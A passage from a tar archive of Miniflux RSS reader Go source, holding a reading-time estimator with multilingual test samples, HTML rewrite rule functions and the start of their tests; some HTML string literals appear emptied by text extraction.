v2-2.2.5/internal/reader/readability/testdata 0000777 0000000 0000000 00000000000 14743520056 0026666 2../../reader/sanitizer/testdata/ ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/readingtime/ 0000775 0000000 0000000 00000000000 14743520056 0017423 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/readingtime/readingtime.go 0000664 0000000 0000000 00000002430 14743520056 0022241 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
// Package readingtime provides a function to estimate the reading time of an article.
package readingtime
import (
"math"
"strings"
"unicode"
"unicode/utf8"
"miniflux.app/v2/internal/reader/sanitizer"
)
// EstimateReadingTime returns the estimated reading time of an article in minute.
func EstimateReadingTime(content string, defaultReadingSpeed, cjkReadingSpeed int) int {
sanitizedContent := sanitizer.StripTags(content)
truncationPoint := min(len(sanitizedContent), 50)
if isCJK(sanitizedContent[:truncationPoint]) {
return int(math.Ceil(float64(utf8.RuneCountInString(sanitizedContent)) / float64(cjkReadingSpeed)))
}
return int(math.Ceil(float64(len(strings.Fields(sanitizedContent))) / float64(defaultReadingSpeed)))
}
func isCJK(text string) bool {
totalCJK := 0
for _, r := range text[:min(len(text), 50)] {
if unicode.Is(unicode.Han, r) ||
unicode.Is(unicode.Hangul, r) ||
unicode.Is(unicode.Hiragana, r) ||
unicode.Is(unicode.Katakana, r) ||
unicode.Is(unicode.Yi, r) ||
unicode.Is(unicode.Bopomofo, r) {
totalCJK++
}
}
// if at least 50% of the text is CJK, odds are that the text is in CJK.
return totalCJK > len(text)/50
}
v2-2.2.5/internal/reader/readingtime/readingtime_test.go 0000664 0000000 0000000 00000024215 14743520056 0023305 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package readingtime
import "testing"
var samples = map[string]string{
"shortenglish": `This is a short paragraph in english, less than 250 chars.`,
"shortchinese": ` 労問委格名町違載式新青脂通由。割止書円画民京般著治登門画拡下。有国同観教田美森素説砂者徴多。上治速相支存色分繰年活元事集遣逆山`,
"english": `
In turpis lacus, sollicitudin non accumsan sed, suscipit eget magna. Morbi id
neque enim. Aenean ac lacus consectetur, accumsan elit ac, suscipit dui. Donec
congue mi et nisl bibendum, venenatis fringilla orci tristique. Nullam ullamcorper
cursus justo, ac iaculis ante euismod a. Fusce dapibus lacus arcu, consectetur
porttitor odio finibus ac. Integer dictum faucibus egestas. Etiam magna diam, placerat
sed velit vitae, lobortis accumsan nisi. Sed viverra dui in odio commodo dapibus.
Sed pulvinar metus finibus, hendrerit diam eu, faucibus lectus. Mauris est tellus,
convallis et velit sit amet, convallis sagittis nunc. Quisque at ex leo. Donec eget leo
vel nibh porta molestie. Aenean pellentesque purus non laoreet aliquam.
In feugiat eget arcu nec sodales. Nunc rutrum felis in tellus venenatis, sit
amet tincidunt augue varius. Nunc nec dignissim quam. In euismod gravida rhoncus.
Vivamus eget nibh sed diam malesuada facilisis. Donec ac convallis elit. Fusce
fermentum tincidunt est. Nunc viverra, eros in gravida convallis, ex augue vehicula
magna, sed tincidunt metus sem et mauris. In pretium purus odio, a auctor tellus
ornare vel. Donec ac dolor pulvinar, placerat elit eget, ultrices nisi. Donec
tincidunt magna eget pretium sodales. In urna lorem, consectetur in fringilla eget,
rutrum et erat. Proin fringilla, lectus eget commodo consequat, est massa lacinia
lorem, ut ultricies nunc erat id sapien.
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce fermentum id
sem sed commodo. Ut eget mauris eu lectus mollis aliquam. Fusce convallis, quam
vel volutpat aliquet, nunc sem rhoncus magna, a iaculis enim ex nec neque.
Suspendisse vel imperdiet leo. Quisque ultrices semper commodo. Pellentesque nec libero et
mauris gravida porta vitae id nunc. Fusce sed sem sed augue gravida ultricies at nec
turpis. Sed semper eu urna sit amet malesuada. Suspendisse blandit condimentum elit,
in scelerisque tellus convallis eu. Nunc eleifend sem et mauris vestibulum
mattis. Praesent ultricies pellentesque eros non posuere.
`,
"chinese": `
労問委格名町違載式新青脂通由。割止書円画民京般著治登門画拡下。有国同観教田美森素説砂者徴多。上治速相支存色分繰年活元事集遣逆山。身消年森発世財間世変悲原記潟旅好手真今。現通浪口特愛始信川節身方一表著購。郁不使権草定内防並要更一条露加。載交源図訴際属年券重供健三洗。事北残却女鮎朝分要廷込宣政愛無投事。
問警技亮参沼洗請米物模人。誰探重午局新戦報投性病庭。典向載問千著書故表視新権最石車音端乏大。白僚三掲局係仕表広無旧見要最裁。額寄済生年余講前本次載隊劇。権成観始応泉早高拓了経地本稼室目犯井出。暮載必広傷内校岡公南散広転行別釈。康運行関本掲隠泉傷退報告。独変年換差取予口男旅挑講禁姿。出芳工類胸管払時済潟髪内豊。
康浴部問玲玉追球化就店岡問画路投。施先太業阪能敏所陸不供探掲方用。手右演社援発示竹育対橋除際愛功旬転好使公。利時改本項輸属嘆員複携者地剤。天政朝戸祝言月接住世黙極者議編連。囲淑覧重弾必治物健賄開頂外称豊開名銀戸院。政稿調励廃演手生告題営味董演何南峰貨。学横公得行提大品回猿齢利込家前役把煎。天代者内身慢作業署間地日。
中個興本広坂態掲神中能等無滞長対。号処月画界意気様党目購栃欠歌暮。一耳供意盛四俊健必財下画例本判著堺要北王。宮大攻人水一備治首闘振円分建前趣校。目少供午見掲岡安画入情薦続土世始。診読格七久改急目斉実配正。性止月模多様更社発掲雪奇芸量全兵経負。予転済反問止下生買再無旅的。模治明以共会必華浅知館版領送。
`,
"korean": `
세계 인권 선언(世界人權宣言, 영어: Universal Declaration of Human Rights, UDHR)은 1948년 12월 10일 파리에서 열린 제3회 유엔 총회에서 채택된 인권에 관한 세계 선언문이다.[1] 2차 세계대전 전후로 전 세계에 만연하였던 인권침해 사태에 대한 인류의 반성을 촉구하고, 모든 인간의 기본적 권리를 존중해야 한다는 유엔 헌장의 취지를 구체화 하였다.[2] 시민적, 정치적 권리가 중심이지만 노동자의 단결권, 교육에 관한 권리, 예술을 향유할 권리 등 경제적, 사회적, 문화적 권리에 대하여서도 규정하고 있다.[1]
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.
`,
}
func TestEstimateReadingTime(t *testing.T) {
expected := map[string]int{
"shortenglish": 1,
"shortchinese": 1,
"english": 2,
"chinese": 2,
"korean": 5,
}
for language, sample := range samples {
got := EstimateReadingTime(sample, 200, 500)
want := expected[language]
if got != want {
t.Errorf(`Wrong reading time, got %d instead of %d for %s`, got, want, language)
}
}
}
func BenchmarkEstimateReadingTime(b *testing.B) {
for range b.N {
for _, sample := range samples {
EstimateReadingTime(sample, 200, 500)
}
}
}
v2-2.2.5/internal/reader/rewrite/ 0000775 0000000 0000000 00000000000 14743520056 0016614 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/rewrite/referer_override_test.go 0000664 0000000 0000000 00000003153 14743520056 0023535 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rewrite // import "miniflux.app/v2/internal/reader/rewrite"
import (
"testing"
)
func TestGetRefererForURL(t *testing.T) {
testCases := []struct {
name string
url string
expected string
}{
{
name: "Weibo Image URL",
url: "https://wx1.sinaimg.cn/large/example.jpg",
expected: "https://weibo.com",
},
{
name: "Pixiv Image URL",
url: "https://i.pximg.net/img-master/example.jpg",
expected: "https://www.pixiv.net",
},
{
name: "SSPai CDN URL",
url: "https://cdnfile.sspai.com/example.png",
expected: "https://sspai.com",
},
{
name: "Instagram CDN URL",
url: "https://scontent-sjc3-1.cdninstagram.com/example.jpg",
expected: "https://www.instagram.com",
},
{
name: "Piokok URL",
url: "https://sp1.piokok.com/example.jpg",
expected: "https://sp1.piokok.com",
},
{
name: "Weibo Video URL",
url: "https://f.video.weibocdn.com/example.mp4",
expected: "https://weibo.com",
},
{
name: "HelloGithub Image URL",
url: "https://img.hellogithub.com/example.png",
expected: "https://hellogithub.com",
},
{
name: "Non-matching URL",
url: "https://example.com/image.jpg",
expected: "",
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
result := GetRefererForURL(tc.url)
if result != tc.expected {
t.Errorf("GetRefererForURL(%s): expected %s, got %s",
tc.url, tc.expected, result)
}
})
}
}
v2-2.2.5/internal/reader/rewrite/rewrite_functions.go 0000664 0000000 0000000 00000031450 14743520056 0022717 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rewrite // import "miniflux.app/v2/internal/reader/rewrite"
import (
"encoding/base64"
"fmt"
"html"
"log/slog"
"net/url"
"regexp"
"strings"
"unicode"
"miniflux.app/v2/internal/config"
nethtml "golang.org/x/net/html"
"github.com/PuerkitoBio/goquery"
)
var (
youtubeRegex = regexp.MustCompile(`youtube\.com/watch\?v=(.*)$`)
youtubeIdRegex = regexp.MustCompile(`youtube_id"?\s*[:=]\s*"([a-zA-Z0-9_-]{11})"`)
invidioRegex = regexp.MustCompile(`https?://(.*)/watch\?v=(.*)`)
textLinkRegex = regexp.MustCompile(`(?mi)(\bhttps?:\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])`)
)
// titlelize returns a copy of the string s with all Unicode letters that begin words
// mapped to their Unicode title case.
func titlelize(s string) string {
// A closure is used here to remember the previous character
// so that we can check if there is a space preceding the current
// character.
previous := ' '
return strings.Map(
func(current rune) rune {
if unicode.IsSpace(previous) {
previous = current
return unicode.ToTitle(current)
}
previous = current
return current
}, strings.ToLower(s))
}
func addImageTitle(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
matches := doc.Find("img[src][title]")
if matches.Length() > 0 {
matches.Each(func(i int, img *goquery.Selection) {
altAttr := img.AttrOr("alt", "")
srcAttr, _ := img.Attr("src")
titleAttr, _ := img.Attr("title")
img.ReplaceWithHtml(`
` + html.EscapeString(titleAttr) + `
`)
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
return entryContent
}
func addMailtoSubject(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
matches := doc.Find(`a[href^="mailto:"]`)
if matches.Length() > 0 {
matches.Each(func(i int, a *goquery.Selection) {
hrefAttr, _ := a.Attr("href")
mailto, err := url.Parse(hrefAttr)
if err != nil {
return
}
subject := mailto.Query().Get("subject")
if subject == "" {
return
}
a.AppendHtml(" [" + html.EscapeString(subject) + "]")
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
return entryContent
}
func addDynamicImage(entryContent string) string {
parserHtml, err := nethtml.ParseWithOptions(strings.NewReader(entryContent), nethtml.ParseOptionEnableScripting(false))
if err != nil {
return entryContent
}
doc := goquery.NewDocumentFromNode(parserHtml)
// Ordered most preferred to least preferred.
candidateAttrs := []string{
"data-src",
"data-original",
"data-orig",
"data-url",
"data-orig-file",
"data-large-file",
"data-medium-file",
"data-original-mos",
"data-2000src",
"data-1000src",
"data-800src",
"data-655src",
"data-500src",
"data-380src",
}
candidateSrcsetAttrs := []string{
"data-srcset",
}
changed := false
doc.Find("img,div").Each(func(i int, img *goquery.Selection) {
// Src-linked candidates
for _, candidateAttr := range candidateAttrs {
if srcAttr, found := img.Attr(candidateAttr); found {
changed = true
if img.Is("img") {
img.SetAttr("src", srcAttr)
} else {
altAttr := img.AttrOr("alt", "")
img.ReplaceWithHtml(``)
}
break
}
}
// Srcset-linked candidates
for _, candidateAttr := range candidateSrcsetAttrs {
if srcAttr, found := img.Attr(candidateAttr); found {
changed = true
if img.Is("img") {
img.SetAttr("srcset", srcAttr)
} else {
altAttr := img.AttrOr("alt", "")
img.ReplaceWithHtml(``)
}
break
}
}
})
if !changed {
doc.Find("noscript").Each(func(i int, noscript *goquery.Selection) {
if img := noscript.Find("img"); img.Length() == 1 {
img.Unwrap()
changed = true
}
})
}
if changed {
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
return entryContent
}
func addDynamicIframe(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
// Ordered most preferred to least preferred.
candidateAttrs := []string{
"data-src",
"data-original",
"data-orig",
"data-url",
"data-lazy-src",
}
changed := false
doc.Find("iframe").Each(func(i int, iframe *goquery.Selection) {
for _, candidateAttr := range candidateAttrs {
if srcAttr, found := iframe.Attr(candidateAttr); found {
changed = true
iframe.SetAttr("src", srcAttr)
break
}
}
})
if changed {
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
return entryContent
}
func fixMediumImages(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
doc.Find("figure.paragraph-image").Each(func(i int, paragraphImage *goquery.Selection) {
noscriptElement := paragraphImage.Find("noscript")
if noscriptElement.Length() > 0 {
paragraphImage.ReplaceWithHtml(noscriptElement.Text())
}
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
func useNoScriptImages(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
doc.Find("figure").Each(func(i int, figureElement *goquery.Selection) {
imgElement := figureElement.Find("img")
if imgElement.Length() > 0 {
noscriptElement := figureElement.Find("noscript")
if noscriptElement.Length() > 0 {
figureElement.PrependHtml(noscriptElement.Text())
imgElement.Remove()
noscriptElement.Remove()
}
}
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
func addYoutubeVideo(entryURL, entryContent string) string {
matches := youtubeRegex.FindStringSubmatch(entryURL)
if len(matches) == 2 {
video := ``
return video + ` ` + entryContent
}
return entryContent
}
func addYoutubeVideoUsingInvidiousPlayer(entryURL, entryContent string) string {
matches := youtubeRegex.FindStringSubmatch(entryURL)
if len(matches) == 2 {
video := ``
return video + ` ` + entryContent
}
return entryContent
}
func addYoutubeVideoFromId(entryContent string) string {
matches := youtubeIdRegex.FindAllStringSubmatch(entryContent, -1)
if matches == nil {
return entryContent
}
sb := strings.Builder{}
for _, match := range matches {
if len(match) == 2 {
sb.WriteString(` `)
}
}
sb.WriteString(entryContent)
return sb.String()
}
func addInvidiousVideo(entryURL, entryContent string) string {
matches := invidioRegex.FindStringSubmatch(entryURL)
if len(matches) == 3 {
video := ``
return video + ` ` + entryContent
}
return entryContent
}
func addPDFLink(entryURL, entryContent string) string {
if strings.HasSuffix(entryURL, ".pdf") {
return fmt.Sprintf(`PDF %s`, entryURL, entryContent)
}
return entryContent
}
func replaceTextLinks(input string) string {
return textLinkRegex.ReplaceAllString(input, `${1}`)
}
func replaceCustom(entryContent string, searchTerm string, replaceTerm string) string {
re, err := regexp.Compile(searchTerm)
if err == nil {
return re.ReplaceAllString(entryContent, replaceTerm)
}
return entryContent
}
func removeCustom(entryContent string, selector string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
doc.Find(selector).Remove()
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
func addCastopodEpisode(entryURL, entryContent string) string {
player := ``
return player + ` ` + entryContent
}
func applyFuncOnTextContent(entryContent string, selector string, repl func(string) string) string {
var treatChildren func(i int, s *goquery.Selection)
treatChildren = func(i int, s *goquery.Selection) {
if s.Nodes[0].Type == nethtml.TextNode {
s.ReplaceWithHtml(repl(s.Nodes[0].Data))
} else {
s.Contents().Each(treatChildren)
}
}
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
doc.Find(selector).Each(treatChildren)
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
func decodeBase64Content(entryContent string) string {
if ret, err := base64.StdEncoding.DecodeString(strings.TrimSpace(entryContent)); err != nil {
return entryContent
} else {
return html.EscapeString(string(ret))
}
}
func addHackerNewsLinksUsing(entryContent, app string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
hn_prefix := "https://news.ycombinator.com/"
matches := doc.Find(`a[href^="` + hn_prefix + `"]`)
if matches.Length() > 0 {
matches.Each(func(i int, a *goquery.Selection) {
hrefAttr, _ := a.Attr("href")
hn_uri, err := url.Parse(hrefAttr)
if err != nil {
return
}
switch app {
case "opener":
params := url.Values{}
params.Add("url", hn_uri.String())
url := url.URL{
Scheme: "opener",
Host: "x-callback-url",
Path: "show-options",
RawQuery: params.Encode(),
}
open_with_opener := `Open with Opener`
a.Parent().AppendHtml(" " + open_with_opener)
case "hack":
url := strings.Replace(hn_uri.String(), hn_prefix, "hack://", 1)
open_with_hack := `Open with HACK`
a.Parent().AppendHtml(" " + open_with_hack)
default:
slog.Warn("Unknown app provided for openHackerNewsLinksWith rewrite rule",
slog.String("app", app),
)
return
}
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
return entryContent
}
func removeTables(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
selectors := []string{"table", "tbody", "thead", "td", "th", "td"}
var loopElement *goquery.Selection
for _, selector := range selectors {
for {
loopElement = doc.FindMatcher(goquery.Single(selector))
if loopElement.Length() == 0 {
break
}
innerHtml, err := loopElement.Html()
if err != nil {
break
}
loopElement.Parent().AppendHtml(innerHtml)
loopElement.Remove()
}
}
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return output
}
func fixGhostCards(entryContent string) string {
doc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))
if err != nil {
return entryContent
}
const cardSelector = "figure.kg-card"
var currentList *goquery.Selection
doc.Find(cardSelector).Each(func(i int, s *goquery.Selection) {
title := s.Find(".kg-bookmark-title").First().Text()
author := s.Find(".kg-bookmark-author").First().Text()
href := s.Find("a.kg-bookmark-container").First().AttrOr("href", "")
// if there is no link or title, skip processing
if href == "" || title == "" {
return
}
link := ""
if author == "" || strings.HasSuffix(title, author) {
link = fmt.Sprintf("%s", href, title)
} else {
link = fmt.Sprintf("%s - %s", href, title, author)
}
next := s.Next()
// if the next element is also a card, start a list
if next.Is(cardSelector) && currentList == nil {
currentList = s.BeforeHtml("
").Prev()
}
if currentList != nil {
// add this card to the list, then delete it
currentList.AppendHtml("
" + link + "
")
s.Remove()
} else {
// replace single card
s.ReplaceWithHtml(link)
}
// if the next element is not a card, start a new list
if !next.Is(cardSelector) && currentList != nil {
currentList = nil
}
})
output, _ := doc.FindMatcher(goquery.Single("body")).Html()
return strings.TrimSpace(output)
}
v2-2.2.5/internal/reader/rewrite/rewriter.go 0000664 0000000 0000000 00000010573 14743520056 0021014 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rewrite // import "miniflux.app/v2/internal/reader/rewrite"
import (
"log/slog"
"strconv"
"strings"
"text/scanner"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/urllib"
)
type rule struct {
name string
args []string
}
func (rule rule) applyRule(entryURL string, entry *model.Entry) {
switch rule.name {
case "add_image_title":
entry.Content = addImageTitle(entry.Content)
case "add_mailto_subject":
entry.Content = addMailtoSubject(entry.Content)
case "add_dynamic_image":
entry.Content = addDynamicImage(entry.Content)
case "add_dynamic_iframe":
entry.Content = addDynamicIframe(entry.Content)
case "add_youtube_video":
entry.Content = addYoutubeVideo(entryURL, entry.Content)
case "add_invidious_video":
entry.Content = addInvidiousVideo(entryURL, entry.Content)
case "add_youtube_video_using_invidious_player":
entry.Content = addYoutubeVideoUsingInvidiousPlayer(entryURL, entry.Content)
case "add_youtube_video_from_id":
entry.Content = addYoutubeVideoFromId(entry.Content)
case "add_pdf_download_link":
entry.Content = addPDFLink(entryURL, entry.Content)
case "nl2br":
entry.Content = strings.ReplaceAll(entry.Content, "\n", " ")
case "convert_text_link", "convert_text_links":
entry.Content = replaceTextLinks(entry.Content)
case "fix_medium_images":
entry.Content = fixMediumImages(entry.Content)
case "use_noscript_figure_images":
entry.Content = useNoScriptImages(entry.Content)
case "replace":
// Format: replace("search-term"|"replace-term")
if len(rule.args) >= 2 {
entry.Content = replaceCustom(entry.Content, rule.args[0], rule.args[1])
} else {
slog.Warn("Cannot find search and replace terms for replace rule",
slog.Any("rule", rule),
slog.String("entry_url", entryURL),
)
}
case "replace_title":
// Format: replace_title("search-term"|"replace-term")
if len(rule.args) >= 2 {
entry.Title = replaceCustom(entry.Title, rule.args[0], rule.args[1])
} else {
slog.Warn("Cannot find search and replace terms for replace_title rule",
slog.Any("rule", rule),
slog.String("entry_url", entryURL),
)
}
case "remove":
// Format: remove("#selector > .element, .another")
if len(rule.args) >= 1 {
entry.Content = removeCustom(entry.Content, rule.args[0])
} else {
slog.Warn("Cannot find selector for remove rule",
slog.Any("rule", rule),
slog.String("entry_url", entryURL),
)
}
case "add_castopod_episode":
entry.Content = addCastopodEpisode(entryURL, entry.Content)
case "base64_decode":
selector := "body"
if len(rule.args) >= 1 {
selector = rule.args[0]
}
entry.Content = applyFuncOnTextContent(entry.Content, selector, decodeBase64Content)
case "add_hn_links_using_hack":
entry.Content = addHackerNewsLinksUsing(entry.Content, "hack")
case "add_hn_links_using_opener":
entry.Content = addHackerNewsLinksUsing(entry.Content, "opener")
case "remove_tables":
entry.Content = removeTables(entry.Content)
case "remove_clickbait":
entry.Title = titlelize(entry.Title)
case "fix_ghost_cards":
entry.Content = fixGhostCards(entry.Content)
}
}
// Rewriter modify item contents with a set of rewriting rules.
func Rewriter(entryURL string, entry *model.Entry, customRewriteRules string) {
rulesList := getPredefinedRewriteRules(entryURL)
if customRewriteRules != "" {
rulesList = customRewriteRules
}
rules := parseRules(rulesList)
rules = append(rules, rule{name: "add_pdf_download_link"})
slog.Debug("Rewrite rules applied",
slog.Any("rules", rules),
slog.String("entry_url", entryURL),
)
for _, rule := range rules {
rule.applyRule(entryURL, entry)
}
}
func parseRules(rulesText string) (rules []rule) {
scan := scanner.Scanner{Mode: scanner.ScanIdents | scanner.ScanStrings}
scan.Init(strings.NewReader(rulesText))
for {
switch scan.Scan() {
case scanner.Ident:
rules = append(rules, rule{name: scan.TokenText()})
case scanner.String:
if l := len(rules) - 1; l >= 0 {
text, _ := strconv.Unquote(scan.TokenText())
rules[l].args = append(rules[l].args, text)
}
case scanner.EOF:
return
}
}
}
func getPredefinedRewriteRules(entryURL string) string {
urlDomain := urllib.Domain(entryURL)
for domain, rules := range predefinedRules {
if strings.Contains(urlDomain, domain) {
return rules
}
}
return ""
}
v2-2.2.5/internal/reader/rewrite/rewriter_test.go 0000664 0000000 0000000 00000110131 14743520056 0022042 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rewrite // import "miniflux.app/v2/internal/reader/rewrite"
import (
"os"
"reflect"
"strings"
"testing"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
)
func TestParseRules(t *testing.T) {
rulesText := `add_dynamic_image,replace("article/(.*).svg"|"article/$1.png"),remove(".spam, .ads:not(.keep)")`
expected := []rule{
{name: "add_dynamic_image"},
{name: "replace", args: []string{"article/(.*).svg", "article/$1.png"}},
{name: "remove", args: []string{".spam, .ads:not(.keep)"}},
}
actual := parseRules(rulesText)
if !reflect.DeepEqual(expected, actual) {
t.Errorf(`Parsed rules do not match expected rules: got %v instead of %v`, actual, expected)
}
}
func TestReplaceTextLinks(t *testing.T) {
scenarios := map[string]string{
`This is a link to example.org`: `This is a link to example.org`,
`This is a link to ftp://example.org`: `This is a link to ftp://example.org`,
`This is a link to www.example.org`: `This is a link to www.example.org`,
`This is a link to http://example.org`: `This is a link to http://example.org`,
`This is a link to http://example.org, end of sentence.`: `This is a link to http://example.org, end of sentence.`,
`This is a link to https://example.org`: `This is a link to https://example.org`,
`This is a link to https://www.example.org/path/to?q=s`: `This is a link to https://www.example.org/path/to?q=s`,
`This is a link to https://example.org/index#hash-tag, http://example.org/.`: `This is a link to https://example.org/index#hash-tag, http://example.org/.`,
}
for input, expected := range scenarios {
actual := replaceTextLinks(input)
if actual != expected {
t.Errorf(`Unexpected link replacement, got "%s" instead of "%s"`, actual, expected)
}
}
}
func TestRewriteWithNoMatchingRule(t *testing.T) {
controlEntry := &model.Entry{
Title: `A title`,
Content: `Some text.`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `Some text.`,
}
Rewriter("https://example.org/article", testEntry, ``)
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteWithYoutubeLink(t *testing.T) {
config.Opts = config.NewOptions()
controlEntry := &model.Entry{
Title: `A title`,
Content: ` Video Description`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `Video Description`,
}
Rewriter("https://www.youtube.com/watch?v=1234", testEntry, ``)
if !reflect.DeepEqual(testEntry, controlEntry) {
t.Errorf(`Not expected output: got "%+v" instead of "%+v"`, testEntry, controlEntry)
}
}
func TestRewriteWithYoutubeLinkAndCustomEmbedURL(t *testing.T) {
os.Clearenv()
os.Setenv("YOUTUBE_EMBED_URL_OVERRIDE", "https://invidious.custom/embed/")
var err error
parser := config.NewParser()
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
controlEntry := &model.Entry{
Title: `A title`,
Content: ` Video Description`,
}
testEntry := &model.Entry{
Title: `A title`,
Content: `Video Description`,
}
Rewriter("https://www.youtube.com/watch?v=1234", testEntry, ``)
